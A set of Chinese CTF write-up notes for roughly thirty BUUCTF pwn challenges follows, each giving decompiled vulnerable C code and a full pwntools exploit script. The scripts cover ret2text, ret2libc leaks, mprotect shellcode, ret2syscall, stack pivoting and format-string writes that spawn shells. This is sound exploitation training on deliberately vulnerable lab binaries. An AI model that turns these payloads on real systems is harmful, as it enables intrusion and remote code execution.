前言
关于BUUCTF的pwn题第一页的刷题笔记
test_your_nc #nc
nc连上去
exp
rip #ret2text #栈平衡
分析main
函数,一眼栈溢出。
1 2 3 4 5 6 7 8 9 10 int __fastcall main (int argc, const char **argv, const char **envp) { char s[15 ]; puts ("please input" ); gets(s, argv); puts (s); puts ("ok,bye!!!" ); return 0 ; }
并且程序存在后门函数
1 2 3 4 int fun () { return system("/bin/sh" ); }
在返回后门函数前,加一个ret
指令保持栈平衡。
exp1 2 3 4 5 6 7 8 9 10 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf ret=0x401198 payload=b'a' *23 +p64(ret)+p64(0x401186 ) sl(payload) ia()
warmup_csaw_2016 #ret2text
程序中存在输出flag函数,指向使程序返回到flag函数即可。
1 2 3 4 int sub_40060D () { return system("cat flag.txt" ); }
1 2 3 4 5 6 7 8 9 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf payload=b'a' *72 +p64(0x40060E ) sl(payload) ia()
ciscn_2019_n_1 #ret2text
分析程序发现存在无限制栈溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 int func () { char v1[44 ]; float v2; v2 = 0.0 ; puts ("Let's guess the number." ); gets(v1); if ( v2 == 11.28125 ) return system("cat /flag" ); else return puts ("Its value should be 11.28125" ); }
直接打ret2text
1 2 3 4 5 6 7 8 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf payload=b'a' *44 +p32(0x41348000 ) sl(payload) ia()
pwn1_sctf_2016 #ret2text #cpp
C++代码审计
将I
字符替换成you
字符,1个字符替换为3个字符产生溢出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 printf ("Tell me something about yourself: " ); fgets (input, 32 , edata); std::string::operator =(&::input, input); std::allocator<char >::allocator (&v5); std::string::string (v4, "you" , &v5); std::allocator<char >::allocator (v7); std::string::string (v6, "I" , v7); replace (v3); std::string::operator =(&::input, v3, v6, v4); std::string::~string (v3); std::string::~string (v6); std::allocator<char >::~allocator (v7); std::string::~string (v4); std::allocator<char >::~allocator (&v5); v0 = std::string::c_str (&::input); strcpy (input, v0); return printf ("So, %s\n" , input);
exp1 2 3 4 5 6 7 8 9 10 11 12 from pwncli import * cli_script() io=gift["io" ] elf=gift["elf" ] sys=0x08048f0d payload=b'I' *20 +b'a' *4 +p32(sys) sl(payload) ia()
jarvisoj_level0 #ret2text #栈平衡
通过gadget传参/bin/sh
,然后执行system
函数。
ret
栈平衡
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwncli import * cli_script() io=gift["io" ] elf=gift["elf" ] off=136 sh=0x00400684 sys=0x00400460 rdi=0x0000000000400663 ret=0x0000000000400431 payload=b'a' *off+p64(rdi)+p64(sh)+p64(ret)+p64(sys) sl(payload) ia()
[第五空间2019 决赛]PWN5 #格式化字符串
1 2 3 4 5 6 7 8 9 from pwn import * context.os = 'linux' context.arch = 'i386' io = process('./pwn' ) payload = p32(0x804c044 )+p32(0x804c045 )+p32(0x804c046 )+p32(0x804c047 )+b'%10$n%11$n%12$n%13$n' io.sendline(payload) io.sendline(str (0x10101010 )) io.interactive()
1 2 3 4 5 6 7 8 9 10 from pwn import * io = process("./pwn" ) elf = ELF('./pwn' ) atoi_got = elf.got['atoi' ] system_plt = elf.plt['system' ] payload=fmtstr_payload(10 ,{atoi_got:system_plt}) io.sendline(payload) io.sendline(b'/bin/sh\x00' ) io.interactive()
jarvisoj_level2 简单ret2text
ciscn_2019_n_8 #变量覆盖 通过溢出覆盖变量使变量满足条件拿到shell
ida的LL表示长整型值即8个字节,所以需要64位比较。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf r() payload=b'a' *52 +p64(17 ) s(payload) ia()
bjdctf_2020_babystack #ret2text exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf r() rdi=0x0000000000400833 ret=0x0000000000400561 sh=0x00400858 sys=elf.plt.system sl(b'300' ) payload=b'a' *24 +p64(rdi)+p64(sh)+p64(ret)+p64(sys) sa(b'name?\n' ,payload) ia()
ciscn_2019_c_1 #ret2libc exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwncli import *from LibcSearcher import * cli_script() io: tube = gift.io elf: ELF = gift.elf main=0x4009a0 rbx_rbp=0x0000000000400aec rdi=0x0000000000400c83 rsi_r15=0x0000000000400c81 ret=0x00000000004006b9 off=0x58 payload=b'a' *off+p64(rdi)+p64(elf.got["puts" ])+p64(elf.plt.puts)+p64(elf.sym["main" ]) ru("Input your choice!\n" ) sl(b"1" ) ru("Input your Plaintext to be encrypted\n" ) sl(payload) puts_addr=u64(ru(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) success("puts_addr -> {:#x}" .format (puts_addr)) libc=LibcSearcher("puts" ,puts_addr) libc_base=puts_addr-libc.dump("puts" ) sh=libc_base+libc.dump("str_bin_sh" ) sys=libc_base+libc.dump("system" ) pay=b'a' *0x58 +p64(rdi)+p64(sh)+p64(ret)+p64(sys) ru(b"Input your choice!\n" ) sl(b"1" ) ru(b"Input your Plaintext to be encrypted\n" ) sl(pay) ia()
get_started_3dsctf_2016 #ret2shellcode #调用mprotect修改内存权限
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import * pwnfile="./get_started_3dsctf_2016" io=process(pwnfile) elf=ELF(pwnfile) context(log_level="debug" ,arch="i386" ) mprotect_addr=elf.symbols["mprotect" ] read=elf.symbols["read" ] mem_addr=0x080Ea000 mem_size=0x1000 mem_proc=0x7 pop_addr=0x0809e4c5 payload=b"a" *0x38 +p32(mprotect_addr) payload+=p32(pop_addr) payload+=p32(mem_addr)+p32(mem_size)+p32(mem_proc) payload+=p32(read) payload+=p32(pop_addr) payload+=p32(0 )+p32(mem_addr)+p32(0x100 ) payload+=p32(mem_addr) io.sendline(payload) pay=asm(shellcraft.sh()) io.sendline(pay) io.interactive()
jarvisoj_level2_x64 简单ret2text
[HarekazeCTF2019]baby_rop 简单ret2text
others_shellcode nc连接
[OGeek2019]babyrop #ret2libc #字符串截断
32位ret2libc,LibcSearcher无法搜索到libc
不过题目提供了libc
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwncli import *from LibcSearcher import * cli_script() io: tube = gift.io elf: ELF = gift.elf libc=ELF("./libc-2.23.so" ) payload=b'\x00' +b'\x99\xff\xff' +b'\xff\xff\xff' +b'\xff\xff\xff' s(payload) payload=b'a' *(231 +4 )+p32(elf.plt.write)+p32(0x80487d0 )+p32(0x1 )+p32(elf.got.write)+p32(0xff ) r() s(payload) pause() addr=u32(r(4 ))print (hex (addr)) base=addr-libc.sym.write sys=base+libc.sym.system sh=base+next (libc.search("/bin/sh\x00" )) payload=b'a' *(231 +4 )+p32(sys)+p32(0 )+p32(sh) s(payload) ia()
ciscn_2019_n_5 简单ret2libc
not_the_same_3dsctf_2016 #ret2shellcode
程序为32位静态编译,没有栈溢出和pie保护
程序中存在危险函数gets,并且text段存在mprotect函数
我们可以通过执行mprotect函数修改内存权限
再通过read函数将shellcode读入内存
之后通过栈溢出返回地址执行shellcode
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf context.arch=elf.arch p3=0x08050b45 off=45 mprotect=0x806ed40 read=elf.sym.read addr=0x80eb000 payload=b'a' *off shellcode=asm(shellcraft.sh()) payload+=p32(mprotect)+p32(p3) payload+=p32(addr)+p32(0x100 )+p32(0x7 ) payload+=p32(read)+p32(p3) payload+=p32(0 )+p32(addr)+p32(0x100 ) payload+=p32(addr) sl(payload) sl(shellcode) ia()
ciscn_2019_en_2 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwncli import *from LibcSearcher import * cli_script() io: tube = gift.io elf: ELF = gift.elf off=0x58 r() sl("1" ) rdi=0x0000000000400c83 ret=0x00000000004006b9 payload=off*b'\x00' +p64(rdi)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(elf.sym.main) sl(payload) puts_addr=u64(ru(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) libc=LibcSearcher("puts" ,puts_addr) base=puts_addr-libc.dump("puts" ) sys=base+libc.dump("system" ) sh=base+libc.dump("str_bin_sh" ) r() sl("1" ) payload=off*b'\x00' +p64(rdi)+p64(sh)+p64(ret)+p64(sys) sl(payload) ia()
ciscn_2019_ne_5
查保护
发现程序为32位程序,没有canary
和pie
保护。
1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
分析
由于程序将一个长字符串复制到一个短的字符数组中,所以产生了栈溢出
并且程序中存在system
函数和sh
字符串 可以通过ret2text进行利用
exp
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf sh=0x080482ea r() sl("administrator" ) r() sl("1" ) payload=b'a' *(0x48 +4 )+p32(elf.sym.system)+p32(elf.sym.main)+p32(sh) sl(payload) ru("0.Exit\n:" ) sl("4" ) ia()
铁人三项(第五赛区) _ 2018_rop #ret2libc #32位
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwncli import *from LibcSearcher import * cli_script() io: tube = gift.io elf: ELF = gift.elf context.arch=elf.arch off=0x8c payload=b'a' *off+p32(elf.plt.write)+p32(elf.sym.main)+p32(1 )+p32(elf.got["write" ])+p32(0x20 ) sl(payload) write=u32(r(4 ))print (hex (write)) libc=LibcSearcher("write" ,write) base=write-libc.dump("write" ) sh=base+libc.dump("str_bin_sh" ) sys=base+libc.dump("system" ) pay=b'a' *off+p32(sys)+p32(elf.sym.main)+p32(sh) r() sl(pay) ia()
bjdctf_2020_babystack2 #整数溢出 #ret2text
在text段我们发现了backdoor函数。
但是我们的第一个输入决定着接下来我们可以输入的数据长度。
第一个输入如果大于有符号数的10,程序就会退出。
但是在将第一个输入作为第二个输入的第三个参数时存在有符号数到无符号数的类型转换。
如果我们第一个输入输入的是-1,就可以绕过限制,并且输入无限制的数据。
所以我们第一此输入发送-1,第二次发送payload
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf ru("name:\n" ) sl("-1" ) ret=0x0000000000400599 payload=b'a' *24 +p64(0x40072A ) r() sl(payload) ia()
bjdctf_2020_babyrop #ret2libc
简单ret2libc
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwncli import *from LibcSearcher import * cli_script() io: tube = gift.io elf: ELF = gift.elf rdi=0x0000000000400733 payload=b'a' *40 +p64(rdi)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(elf.sym.main) r() sl(payload) addr=u64(ru(b'\x7f' )[-6 :].ljust(8 ,b'\x00' ))print (hex (addr)) libc=LibcSearcher("puts" ,addr) base=addr-libc.dump("puts" ) sys=libc.dump("system" )+base sh=libc.dump("str_bin_sh" )+base payload=b'a' *40 +p64(rdi)+p64(sh)+p64(sys) sl(payload) ia()
jarvisoj_fm #格式化字符串 #任意地址写
查保护
分析
利用%11$n
,定位到了偏移为11的位置,往这个位置写入数据,写入的数据由%11$n
前面的参数的长度决定,而我们的x参数的地址,正好是4位,
exp
1 2 3 4 5 6 7 8 9 10 11 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf payload=p32(0x804A02C )+b"%11$n" sl(payload) ia()
jarvisoj_tell_me_something
查保护
只有NX
保护。
1 2 3 4 5 6 ➜ 11-01 checksec ./guestbook Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
分析
分析主函数
程序调用read可以向栈上输入0x100
字节大小的数据,判断存在栈溢出。
1 2 3 4 5 6 7 8 int __fastcall main (int argc, const char **argv, const char **envp) { __int64 v4; write(1 , "Input your message:\n" , 0x14 uLL); read(0 , &v4, 0x100 uLL); return write(1 , "I have received your message, Thank you!\n" , 0x29 uLL); }
函数表中发现函数good_game
,函数打开了flag.txt
文件并将其读入到了局部变量中,并且将内容一个字节一个字节的输出到标准输出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int good_game () { FILE *v0; int result; char buf[9 ]; v0 = fopen("flag.txt" , "r" ); while ( 1 ) { result = fgetc(v0); buf[0 ] = result; if ( result == 0xFF ) break ; write(1 , buf, 1uLL ); } return result; }
我们通过栈溢出让程序返回到good_game
函数即可输出flag
。
exp
1 2 3 4 5 6 7 8 9 10 11 12 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf payload=b'a' *136 +p64(0x400620 ) r() s(payload) ia()
ciscn_2019_es_2 #栈迁移
查保护
分析
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwncli import *from LibcSearcher import * cli_script() io: tube = gift.io elf: ELF = gift.elf leave = 0x080484B8 system_addr = elf.symbols['system' ] s(b'a' *36 + b'bbbb' ) ru(b'bbbb' ) ebp = u32(r(4 ))print ("ebp" ,hex (ebp)) payload = (b'a' *4 + p32(system_addr) + b'a' *4 + p32(ebp-0x28 ) + b'/bin/sh\x00' ).ljust(0x28 , b'a' ) payload += p32(ebp-0x38 ) + p32(leave) s(payload) ia()
[HarekazeCTF2019]baby_rop #ret2libc #printf_plt
2. 利用printf函数泄露libc地址,然后进行ret2libc
将printf
函数的第一个地址设置为程序中已有的格式化字符串。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwncli import *from LibcSearcher import * cli_script() io: tube = gift.io elf: ELF = gift.elf libc=ELF("./libc.so.6" ) rdi=0x0000000000400733 ret=0x00000000004004d1 rsi_r15=0x0000000000400731 arg1=0x400790 payload=b'a' *40 +p64(rdi)+p64(arg1)+p64(rsi_r15)+p64(elf.got.read)+p64(0 )+p64(elf.plt.printf)+p64(0x400636 ) r() sl(payload) addr=u64(ru(b"\x7f" )[-6 :].ljust(8 ,b"\x00" )) base=addr-libc.sym.readprint ("base" ,hex (base)) sys=base+libc.sym.system sh=base+libc.search("/bin/sh\x00" ).__next__()print ("system" ,hex (sys))print ("sh" ,hex (sh)) payload=b'a' *40 +p64(rdi)+p64(sh)+p64(ret)+p64(sys) sl(payload) ia()
picoctf_2018_rop chain #ret2libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwncli import *from LibcSearcher import * cli_script() io: tube = gift.io elf: ELF = gift.elf libc=ELF("./libc.so.6" ) rdi=0x0000000000400733 ret=0x00000000004004d1 payload=b'a' *28 +p32(elf.plt.puts)+p32(elf.sym.main)+p32(elf.got.puts) r() sl(payload) addr=u32(r(4 )) libc=LibcSearcher("puts" ,addr) base=addr-libc.dump("puts" ) sys=libc.dump("system" )+base sh=base+libc.dump("str_bin_sh" ) payload=b'a' *28 +p32(sys)+p32(elf.sym.main)+p32(sh) r() sl(payload) ia()
pwn2_sctf_2016 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwncli import *from LibcSearcher import * cli_script() io: tube = gift.io elf: ELF = gift.elf libc=ELF("/buu/32/libc-2.23.so" ) ru("read? " ) sl("-1" ) off=48 payload=b'a' *off+p32(elf.plt.printf)+p32(elf.sym.vuln)+p32(0x80486F8 )+p32(elf.got.printf) ebx_esi_edi_ebp=0x0804864c int_80=0x080484d0 r() sl(payload) ru("You said:" ) ru("You said: " ) addr=u32(ru(b'\xf7' )[-4 :])print ("addr" ,hex (addr)) ru("read? " ) sl("-1" ) base=addr-libc.sym.printf sh=base+next (libc.search(b"/bin/sh\x00" )) sys=base+libc.sym.system payload=b'a' *off+p32(sys)+b'a' *4 +p32(sh) ru("data!\n" ) sl(payload) ia()
jarvisoj_level3 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwncli import *from LibcSearcher import * cli_script() io: tube = gift.io elf: ELF = gift.elf off=140 payload=b'a' *off+p32(elf.plt.write)+p32(elf.sym.main)+p32(1 )+p32(elf.got["__libc_start_main" ])+p32(4 ) r() sl(payload) addr=u32(ru(b'\xf7' )[-4 :])print ("addr" ,hex (addr)) libc=ELF("/buu/32/libc-2.23.so" ) base=addr-libc.sym.__libc_start_main sh=base+next (libc.search("/bin/sh\x00" )) sys=base+libc.sym.system payload=b'a' *off+p32(sys)+p32(elf.sym.main)+p32(sh) r() s(payload) ia()
ciscn_2019_s_3 #ret2syscall
查保护
分析
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf syscall=0x0000000000400501 rax=0x00000000004004E2 ret=0x4003a9 vul=0x4004ed rdi=0x00000000004005a3 payload=b'a' *0x10 +p64(vul) s(payload) r(0x20 ) stack=u64(r(8 )) buf=stack-0x118 payload=p64(ret)+b'/bin/sh\x00' payload+=p64(rax) payload+=p64(0x40059a ) payload+=p64(0 )+p64(1 ) payload+=p64(buf)+p64(0 )*3 payload+=p64(0x400580 ) payload+=p64(0 )*7 payload+=p64(rdi)+p64(buf+8 ) payload+=p64(syscall) payload+=p64(vul) s(payload) ia()
wustctf2020_getshell #ret2text
代码段存在后门函数,直接打ret2text
exp1 2 3 4 5 6 7 8 9 10 11 from pwn import * io=remote("node5.buuoj.cn" ,29410 ) sys=0x804851b payload=b'a' *28 +p32(sys) io.recv() io.sendline(payload) io.interactive()
总结 BUUCTF 第一页知识重点
ret2text以及栈平衡
ret2libc
write函数泄露libc
puts函数泄露libc
printf函数泄露libc
ret2shellcode,通过mprotect修改内存权限绕过NX
ret2syscall
ret2csu
栈迁移
格式化字符串
整数溢出